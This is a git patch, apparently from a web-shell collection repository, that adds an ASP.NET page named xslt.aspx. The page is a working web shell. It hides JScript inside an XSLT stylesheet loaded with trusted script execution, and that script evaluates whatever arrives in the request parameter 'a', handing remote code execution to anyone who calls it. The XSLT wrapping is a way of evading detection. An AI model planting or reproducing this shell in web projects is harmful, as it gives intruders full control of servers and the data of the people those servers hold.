From 69d5a36bbf0ceed7a69da40c596a84a87e69205f Mon Sep 17 00:00:00 2001
From: tennc <tennc@users.noreply.github.com>
Date: Sat, 16 May 2015 11:34:06 +0800
Subject: [PATCH] Create xslt.aspx

from : http://drops.wooyun.org/tips/5799
---
 aspx/xslt.aspx | 28 ++++++++++++++++++++++++++++
 1 file changed, 28 insertions(+)
 create mode 100644 aspx/xslt.aspx

diff --git a/aspx/xslt.aspx b/aspx/xslt.aspx
new file mode 100644
index 0000000..246a8d8
--- /dev/null
+++ b/aspx/xslt.aspx
@@ -0,0 +1,28 @@
+<%@page language="C#"%>
+<%@ import Namespace="System.IO"%>
+<%@ import Namespace="System.Xml"%>
+<%@ import Namespace="System.Xml.Xsl"%>
+<%
+string xml=@"<?xml version=""1.0""?><root>test</root>";
+string xslt=@"<?xml version='1.0'?>
+<xsl:stylesheet version=""1.0"" xmlns:xsl=""http://www.w3.org/1999/XSL/Transform"" xmlns:msxsl=""urn:schemas-microsoft-com:xslt"" xmlns:zcg=""zcgonvh"">
+	<msxsl:script language=""JScript"" implements-prefix=""zcg"">
+		<msxsl:assembly name=""mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089""/>
+		<msxsl:assembly name=""System.Data, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089""/>
+		<msxsl:assembly name=""System.Configuration, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a""/>
+		<msxsl:assembly name=""System.Web, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a""/>
+		<![CDATA[function xml() {var c=System.Web.HttpContext.Current;var Request=c.Request;var Response=c.Response;var Server=c.Server;eval(Request.Item['a'],'unsafe');Response.End();}]]>
+	</msxsl:script>
+<xsl:template match=""/root"">
+	<xsl:value-of select=""zcg:xml()""/>
+</xsl:template>
+</xsl:stylesheet>";
+XmlDocument xmldoc=new XmlDocument();
+xmldoc.LoadXml(xml);
+XmlDocument xsldoc=new XmlDocument();
+xsldoc.LoadXml(xslt);
+XslCompiledTransform xct=new XslCompiledTransform();
+xct.Load(xsldoc,XsltSettings.TrustedXslt,new XmlUrlResolver());
+xct.Transform(xmldoc,null,new MemoryStream());
+
+%>